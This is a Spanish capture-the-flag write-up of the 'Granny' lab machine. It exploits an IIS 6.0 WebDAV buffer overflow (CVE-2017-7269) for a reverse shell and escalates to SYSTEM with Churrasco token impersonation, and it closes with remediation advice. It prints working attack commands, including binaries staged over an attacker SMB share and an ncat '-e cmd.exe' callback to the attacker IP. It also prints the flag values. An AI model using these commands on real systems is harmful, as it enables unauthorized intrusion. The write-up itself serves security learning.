Entrada

Granny

La gemela de Grandpa: un IIS 6.0 sobre Windows Server 2003 con WebDAV vulnerable a CVE-2017-7269 da shell sin credenciales, y el privilegio SeImpersonate lleva a SYSTEM con Churrasco — esta vez pasando los binarios por un servidor SMB.

Granny

Publicado por Jaime Hereza Niño

Publicado 24/10/2026
7 min de lectura
Mi puntuación
28935 votos
MáquinaSODificultadIP
GrannyWindowsEasy10.129.95.234

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.95.234 granny

Resumen

Granny es, literalmente, la máquina de al lado de Grandpa: el mismo Windows Server 2003 con IIS 6.0, el mismo WebDAV sin parchear y la misma escalada. Si vienes de resolver su gemela, aquí casi todo te va a sonar.

El camino de entrada es idéntico — un buffer overflow remoto en WebDAV que da shell sin credenciales — y la escalada vuelve a apoyarse en el privilegio SeImpersonatePrivilege de la cuenta de servicio para saltar de NETWORK SERVICE a SYSTEM.

La única diferencia real está en los detalles de la post-explotación: en esta máquina certutil y PowerShell no colaboran, así que los binarios hay que subirlos por otra vía. Es un buen recordatorio de que la técnica puede ser la misma pero el terreno siempre tiene su matiz.

Vulnerabilidad

Las mismas dos piezas que en Grandpa: una para entrar sin autenticación y otra para apoderarse de la máquina.

01 · Buffer Overflow en el WebDAV de IIS 6.0 — CVE-2017-7269 (Crítica · 9.8)

La función ScStoragePathFromUrl del servicio WebDAV de Internet Information Services 6.0 no valida la longitud de la cabecera If en una petición PROPFIND. Una cabecera larga que empiece por If: <http:// desborda el buffer y permite ejecutar código arbitrario sin autenticación previa.

El detalle que la hace especialmente sucia: la función se llama dos veces, lo que facilita la explotación fiable. Afecta a Windows Server 2003 R2 y se explotó in the wild en julio y agosto de 2016, meses antes de hacerse pública en marzo de 2017.

02 · Suplantación de token con SeImpersonatePrivilege

El código se ejecuta dentro del proceso de IIS, que corre como NT AUTHORITY\NETWORK SERVICE. Esa cuenta conserva SeImpersonatePrivilege: puede suplantar a un cliente después de autenticarlo.

Ese permiso, pensado para que los servicios actúen en nombre de quien les llama, permite robar el token de un proceso que sí es SYSTEM — en la práctica, el servicio RPCSS — y lanzar un proceso nuevo con él. Es la familia de ataques conocida como Potato.

Reconocimiento

Caja negra y sin pistas: lo primero es ver qué hay escuchando. Barrido completo de puertos contra la víctima, pidiendo de paso que intente adivinar el sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess granny
PuertoServicio
80http

Un único puerto abierto de los 65.535, y los otros 65.534 filtrados. El propio escaneo ya adelanta a qué nos enfrentamos: Microsoft Windows 2003|2008|XP con un 90% de confianza. No hay SMB, no hay RDP, no hay RPC expuestos: todo el ataque va a tener que entrar por ese 80.

Escaneo completo de puertos y detección de sistema operativo
Figura 1: Escaneo completo de puertos y detección de sistema operativo

Enumeración

Con un solo puerto, toca exprimirlo. Afino versión y lanzo de paso los scripts por defecto de nmap

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 80 -sCV --version-intensity 9 -n granny
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 |_http-title: Under Construction | http-webdav-scan: | Server Type: Microsoft-IIS/6.0 | WebDAV type: Unknown | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK |_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH |_http-server-header: Microsoft-IIS/6.0
Enumeración de versiones y métodos WebDAV
Figura 2: Enumeración de versiones y métodos WebDAV

Y ahí está todo el write-up en dos líneas: Microsoft IIS 6.0 — que solo vino con Windows Server 2003, sin soporte desde julio de 2015 — y un http-webdav-scan que confirma que el WebDAV está activo y que incluso acepta PUT. Esa combinación es exactamente lo que necesita CVE-2017-7269.

Lo contrasto desde el navegador apoyándome en Wappalyzer, que curiosamente no detecta ninguna tecnología: la página es el clásico Under Construction por defecto de IIS, sin una sola página propia

Página por defecto del servidor; Wappalyzer no detecta nada
Figura 3: Página por defecto del servidor; Wappalyzer no detecta nada

Donde Wappalyzer se queda corto, whatweb sí da contexto

┌──(jaime㉿kali)-[~]└─$ whatweb http://granny.htb
http://granny.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.129.95.234], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], X-Powered-By[ASP.NET]
Tecnologías detectadas en el servidor
Figura 4: Tecnologías detectadas en el servidor

El MicrosoftOfficeWebServer es el dato que más me interesa: delata las FrontPage Server Extensions, que van de la mano de WebDAV. Lo corroboro con un fuzzing de rutas

┌──(jaime㉿kali)-[~]└─$ dirsearch -u http://granny.htb/
200 - /_private/ 200 - /_vti_inf.html 200 - /_vti_bin/ 200 - /_vti_log/ 200 - /_vti_bin/_vti_aut/author.dll 200 - /_vti_bin/_vti_adm/admin.dll 200 - /_vti_bin/shtml.dll 403 - /_vti_pvt/ 200 - /images/ 200 - /aspnet_client/
Rutas descubiertas en el servidor
Figura 5: Rutas descubiertas en el servidor

Los _vti_ por todas partes y las .dll de autoría respondiendo 200 confirman que las extensiones están vivas. No hay que buscar un formulario ni un panel: la vulnerabilidad está en el servidor, no en la aplicación.

Explotación

Con la versión fijada, me voy directo a Exploit-DB a buscar qué arrastra ese IIS. Un filtro por Microsoft IIS 6.0 deja una lista con varios resultados, pero solo uno da ejecución remota de código: el buffer overflow de WebDAV

Exploits disponibles para IIS 6.0 en Exploit-DB
Figura 6: Exploits disponibles para IIS 6.0 en Exploit-DB

Abro su ficha para confirmar que es lo que busco: EDB-ID 41738, CVE-2017-7269, publicado en marzo de 2017 por Zhiniang Peng y Chen Wu, contra Windows Server 2003 R2

Ficha del exploit en Exploit-DB
Figura 7: Ficha del exploit en Exploit-DB

El 41738.py original es de Python 2 y hay que pelearse con él para que funcione hoy. Es la misma máquina que Grandpa, y recordaba que allí me dio problemas, así que tiro directamente de la reescritura que ya me funcionó: nika0x38/CVE-2017-7269, una implementación en Rust del mismo PoC

Implementación del exploit en Rust
Figura 8: Implementación del exploit en Rust

Un paréntesis sobre Cargo

Que esté en Rust cambia una cosa: no se ejecuta con un intérprete, hay que compilarlo. Y para eso hace falta cargo, que es a Rust lo que pip y make juntos son a Python. Cargo descarga las dependencias, las compila y construye el binario final, todo con un comando.

Trabaja con estos ficheros:

  • Cargo.toml: el manifiesto del proyecto. Formato TOML (Tom's Obvious Minimal Language), un INI con esteroides. Declara el nombre, la versión y, sobre todo, las dependencias.
  • Cargo.lock: generado por Cargo. Congela la versión exacta de cada dependencia para que la compilación sea reproducible. No se toca a mano.
  • src/*.rs: el código fuente en Rust. src/main.rs es el punto de entrada de un ejecutable.

Si no está instalado, se resuelve con apt install cargo o con rustup. La herramienta parchea el shellcode al vuelo con la IP y el puerto que le pase, y lo entrega en el cuerpo de la petición HTTP. Así que me pongo en escucha y lo lanzo con --release para que compile optimizado

┌──(jaime㉿kali)-[~]└─$ nc -lvnp 443
┌──(jaime㉿kali)-[~]└─$ cargo run --release -- --rhost granny --rport 80 --lhost 10.10.15.95 --lport 443
[+] Building shellcode for LHOST=10.10.15.95 LPORT=443 [+] Building HTTP trigger with shellcode length: 1744 [+] Connecting to target: granny:80 [+] Connection established. [+] Sending HTTP trigger... [+] Sending main shellcode... [+] Payload sent successfully!

Al otro lado, el listener recibe la conexión

connect to [10.10.15.95] from (UNKNOWN) [10.129.95.234] 1031 Microsoft Windows [Version 5.2.3790] c:\windows\system32\inetsrv>whoami nt authority\network service
Shell obtenida como NETWORK SERVICE
Figura 9: Shell obtenida como NETWORK SERVICE

Ya estoy dentro. El 5.2.3790 confirma que esto es un Server 2003, y el directorio de trabajo — system32\inetsrv — recuerda que la shell vive dentro del propio proceso de IIS. Como NETWORK SERVICE no tengo acceso a los perfiles de usuario, así que las flags van a tener que esperar a la escalada.

Escalada de privilegios

Lo primero, los privilegios de la cuenta desde la que estoy ejecutando

C:\> whoami /priv
PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after auth Enabled SeCreateGlobalPrivilege Create global objects Enabled
Privilegios de la cuenta comprometida
Figura 10: Privilegios de la cuenta comprometida

Ahí está la llave: SeImpersonatePrivilege en Enabled. Con ese privilegio, y sabiendo por el reconocimiento que es un Windows Server 2003, toda la familia Potato está sobre la mesa, pero cada herramienta cubre una franja de versiones y hay que elegir la correcta

  • Churrasco: Windows XP y Server 2003
  • JuicyPotato: Server 2008 hasta 2016
  • PrintSpoofer / GodPotato: Windows 10 y Server 2016–2022

Siendo un 2003, la única que encaja es Churrasco. Es la herramienta de Cesar Cerrudo que acompañó a su charla Token Kidnapping de DEF CON 18: localiza el proceso del servicio RPCSS, recorre sus hilos buscando uno que esté suplantando, le roba el token de SYSTEM y ejecuta con él el comando que le pases. Está en Re4son/Churrasco con el binario ya compilado

Repositorio de Churrasco con el binario listo
Figura 11: Repositorio de Churrasco con el binario listo

Necesito subir dos ficheros a la víctima: el propio churrasco.exe y un nc.exe con el que devolverme la shell privilegiada. Y aquí aparece el obstáculo propio de esta máquina: a diferencia del cscript que usé en Grandpa, aquí ni PowerShell ni certutil funcionan para descargar. La vía que sí responde es montar un servidor SMB temporal con Impacket y copiar los binarios desde el recurso compartido

┌──(jaime㉿kali)-[~]└─$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share .

Desde la víctima me creo un directorio de trabajo con permiso de escritura y traigo los dos ficheros — renombrados a ch.exe y ncat.exe — con un simple copy contra el share

C:\WINDOWS\Temp\Priv> copy \\10.10.15.95\share\ch.exe C:\Windows\Temp\Priv\ch.exe C:\WINDOWS\Temp\Priv> copy \\10.10.15.95\share\ncat.exe C:\Windows\Temp\Priv\ncat.exe C:\WINDOWS\Temp\Priv> dir
10/24/2026 06:08 PM 31,232 ch.exe 10/24/2026 06:09 PM 59,392 ncat.exe
Binarios copiados a la víctima vía SMB
Figura 12: Binarios copiados a la víctima vía SMB

Antes de jugármela con la reverse shell, confirmo que Churrasco funciona pidiéndole algo inofensivo: que ejecute un whoami

C:\WINDOWS\Temp\Priv> .\ch.exe -d "cmd /c whoami"
/churrasco/-->Current User: NETWORK SERVICE /churrasco/-->Found Rpcss PID: 668 /churrasco/-->Searching for Rpcss threads ... /churrasco/-->Found Thread: 684 /churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x734 /churrasco/-->Getting SYSTEM token from Rpcss Service... /churrasco/-->Found SYSTEM token 0x72c /churrasco/-->Running command with SYSTEM Token... /churrasco/-->Done, command should have ran as SYSTEM! nt authority\system
Churrasco confirma la suplantación ejecutando whoami como SYSTEM
Figura 13: Churrasco confirma la suplantación ejecutando whoami como SYSTEM

La traza cuenta el ataque paso a paso: encuentra el proceso RPCSS, recorre sus hilos hasta dar con uno que esté suplantando, se queda con el token y lanza el comando con él — y devuelve nt authority\system. Con la prueba hecha, pongo un listener nuevo y repito el truco, esta vez pidiéndole a Churrasco que lance el ncat.exe de vuelta

┌──(jaime㉿kali)-[~]└─$ nc -lvnp 1234
C:\WINDOWS\Temp\Priv> .\ch.exe -d "C:\Windows\Temp\Priv\ncat.exe 10.10.15.95 1234 -e cmd.exe"
Microsoft Windows [Version 5.2.3790] C:\WINDOWS\TEMP>whoami nt authority\system
Shell interactiva como SYSTEM
Figura 14: Shell interactiva como SYSTEM

NT AUTHORITY\SYSTEM. Control total de la máquina.

Con el máximo privilegio leo las dos banderas. Ojo al detalle de la época: en Server 2003 los perfiles no viven en C:\Users sino en C:\Documents and Settings.

La de usuario, en el escritorio de Lakis

C:\> type "C:\Documents and Settings\Lakis\Desktop\user.txt" 700c5dc163014e22b3e408f8703f67d1
Lectura de la flag de usuario
Figura 15: Lectura de la flag de usuario

Y la de root, en el de Administrator

C:\> type "C:\Documents and Settings\Administrator\Desktop\root.txt" aa4beed1c0584445ab463a6747bd06e9
Lectura de la flag de root
Figura 16: Lectura de la flag de root

Flags

La de usuario, en el escritorio de Lakis

C:\> type "C:\Documents and Settings\Lakis\Desktop\user.txt" 700c5dc163014e22b3e408f8703f67d1

Y la de root, en el de Administrator

C:\> type "C:\Documents and Settings\Administrator\Desktop\root.txt" aa4beed1c0584445ab463a6747bd06e9

Cómo se arregla

Aquí no hay un parche que aplicar y listo: el problema es que el sistema entero lleva una década muerto. Por capas:

  • Migrar de Windows Server 2003: sin soporte desde el 14 de julio de 2015. No recibe actualizaciones de seguridad, así que cualquier fallo descubierto después se queda abierto para siempre. Es la única solución real.
  • Desactivar WebDAV: si no se puede migrar de inmediato, deshabilitar la extensión en IIS elimina el vector de CVE-2017-7269. Lo mismo con las FrontPage Server Extensions, que no pintan nada en un servidor moderno.
  • Quitar SeImpersonatePrivilege a las cuentas de servicio: sin ese privilegio, toda la familia Potato deja de funcionar y la ejecución remota se queda en una shell sin privilegios.
  • Filtrar el tráfico saliente: la intrusión depende de que la víctima pueda conectarse de vuelta al atacante y alcanzar su servidor SMB. Restringir las conexiones salientes corta las reverse shell y la subida de ch.exe.
  • No exponer servidores legacy: si una máquina así tiene que seguir viva, que sea en una red segmentada y sin acceso directo desde fuera.

Conclusiones

Igual que la máquina Grandpa, servidores antiguos de Microsoft IIS fáciles de explotar y con una escalada muy sencilla, la complicación está en leer el user.txt y root.txt

Esta entrada está licenciada bajo CC BY 4.0 por el autor.